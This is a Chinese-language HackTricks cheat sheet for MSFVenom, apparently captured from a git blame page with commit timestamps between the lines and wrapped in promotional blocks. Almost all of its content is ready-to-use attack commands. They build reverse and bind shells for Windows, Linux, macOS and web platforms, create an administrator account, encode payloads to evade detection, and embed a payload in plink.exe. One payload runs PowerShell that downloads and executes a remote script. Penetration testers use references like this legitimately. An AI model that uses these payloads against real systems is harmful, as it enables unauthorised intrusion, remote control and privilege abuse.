hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

231 lines
7.5 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# MSFVenom - 速查表
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零到英雄学习AWS黑客技术就在</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
* 如果你想在**HackTricks上看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
2023-02-27 09:28:45 +00:00
**黑客洞察**\
深入探讨黑客的刺激和挑战
2022-11-05 09:07:43 +00:00
**实时黑客新闻**\
通过实时新闻和洞察,紧跟快节奏的黑客世界
2023-07-14 14:20:34 +00:00
**最新公告**\
及时了解最新的漏洞赏金发布和关键平台更新
2023-07-14 14:20:34 +00:00
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
2023-07-14 14:20:34 +00:00
***
2023-02-27 09:28:45 +00:00
## 基础 msfvenom
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
也可以使用 `-a` 来指定架构或者 `--platform`
2023-08-03 19:12:22 +00:00
## 列表
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
## 创建 shellcode 时的常用参数
```bash
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
## **Windows**
2023-08-03 19:12:22 +00:00
### **反向Shell**
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
2023-08-03 19:12:22 +00:00
```
### 绑定 Shell
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
### 创建用户
{% code overflow="wrap" %}
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
2023-03-05 19:54:13 +00:00
### CMD Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2023-08-03 19:12:22 +00:00
### **执行命令**
{% code overflow="wrap" %}
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
2023-08-03 19:12:22 +00:00
### 编码器
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
### 嵌入可执行文件内
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
## Linux 负载
2023-08-03 19:12:22 +00:00
### 反向 Shell
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
### 绑定 Shell
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
### SunOS (Solaris)
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
## **MAC 负载**
2023-08-03 19:12:22 +00:00
### **反向 Shell:**
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
### **Bind Shell**
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
{% endcode %}
## **基于Web的有效载荷**
2023-03-05 19:54:13 +00:00
### **PHP**
#### 反向Shell
{% code overflow="wrap" %}
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
{% endcode %}
2023-08-03 19:12:22 +00:00
### ASP/x
2023-08-03 19:12:22 +00:00
#### 反向 shell
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
2023-03-05 19:54:13 +00:00
### JSP
2023-08-03 19:12:22 +00:00
#### 反向 shell
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
{% endcode %}
2023-08-03 19:12:22 +00:00
### WAR
2023-08-03 19:12:22 +00:00
#### 反向Shell
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
### NodeJS
2023-08-03 19:12:22 +00:00
```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
## **脚本语言负载**
### **Perl**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
### **Python**
2023-08-03 19:12:22 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
### **Bash**
{% code overflow="wrap" %}
2023-08-03 19:12:22 +00:00
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
```markdown
{% endcode %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 14:20:34 +00:00
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
2023-07-14 14:20:34 +00:00
**黑客洞察**\
深入了解黑客的刺激和挑战
2023-03-05 19:54:13 +00:00
**实时黑客新闻**\
通过实时新闻和洞察,紧跟快节奏的黑客世界
2023-02-27 09:28:45 +00:00
**最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
2023-02-27 09:28:45 +00:00
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
2022-04-28 16:01:33 +00:00
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**
2022-04-28 16:01:33 +00:00
</details>
```